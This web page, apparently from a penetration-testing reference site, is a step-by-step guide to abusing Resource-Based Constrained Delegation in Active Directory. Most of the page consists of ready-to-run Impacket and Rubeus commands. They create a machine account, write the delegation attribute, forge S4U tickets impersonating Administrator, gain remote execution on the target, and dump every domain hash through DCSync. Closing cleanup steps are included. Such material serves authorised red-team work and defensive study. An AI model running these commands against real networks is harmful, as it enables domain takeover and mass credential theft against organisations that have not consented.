Skip to content
HackIndex logo

HackIndex

RBCD – Resource-Based Constrained Delegation Abuse

4 min read Jul 1, 2026

Resource-Based Constrained Delegation inverts the delegation model, instead of configuring which accounts can delegate to a resource, the resource itself specifies which accounts can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If you have write access to that attribute on a target computer object, you can grant your own controlled account delegation rights to the target and then impersonate any user, including domain admins, against its services.

RBCD requires two things: an account you control with an SPN (a computer account works, and you can create one if ms-DS-MachineAccountQuota is greater than 0), and write access to the target computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Write access is commonly found via GenericAll, GenericWrite, or WriteDACL ACEs on computer objects, which BloodHound maps clearly.

For using the resulting ticket for lateral movement, see https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket.

Step 1: Create a Controlled Machine Account

If you do not already control an account with an SPN, create a computer account. By default, domain users can create up to 10 machine accounts (ms-DS-MachineAccountQuota):

┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -computer-pass 'Attacker123!' -dc-ip $TARGET_IP

Note the computer name and password, you need the hash in step 3.

If MachineAccountQuota is 0, you need to use an existing computer account you already control (one where you have local admin and can extract the machine hash).

Step 2: Write the Delegation Attribute

Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer to allow your controlled machine account to delegate to it. Use impacket-rbcd or PowerView from a Windows host.

From Linux with Impacket:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action write -dc-ip $TARGET_IP

Verify the write succeeded:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-to '$TARGET_HOSTNAME$' -action read -dc-ip $TARGET_IP

Step 3: Get the Hash of Your Controlled Machine Account

You need the NT hash of ATTACKPC$ to request the S4U tickets. Get it with Impacket using the password you set:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/ATTACKPC\$:Attacker123!@$TARGET_IP -just-dc-ntlm

Or calculate it directly from the password:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4', 'Attacker123!'.encode('utf-16le')).digest()).decode())"

Step 4: Request a Service Ticket via S4U

Use impacket-getST to run S4U2Self and S4U2Proxy, impersonating a domain admin against the target:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP

With the NT hash directly:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$ -hashes :$MACHINE_HASH -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP

This saves Administrator.ccache.

Step 5: Use the Ticket

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass

Targeting a Domain Controller

If your write target is a DC and you can impersonate a domain admin against its LDAP service, you can perform DCSync directly:

┌──(kali㉿kali)-[~]
└─$ impacket-getST $DOMAIN/ATTACKPC\$:Attacker123! -spn ldap/$DC_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME.$DOMAIN -k -no-pass -just-dc

This dumps all domain hashes without needing to land a shell on the DC.

From Windows with Rubeus

Request the S4U ticket chain and inject it:

PS C:\Users\Guest\Desktop> Rubeus.exe s4u /user:ATTACKPC$ /rc4:$MACHINE_HASH /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt

Cleanup

Remove the delegation attribute after the engagement:

┌──(kali㉿kali)-[~]
└─$ impacket-rbcd $DOMAIN/$USER:$PASSWORD -delegate-from 'ATTACKPC$' -delegate-to '$TARGET_HOSTNAME$' -action flush -dc-ip $TARGET_IP

Delete the machine account you created:

┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKPC$' -delete -dc-ip $TARGET_IP

References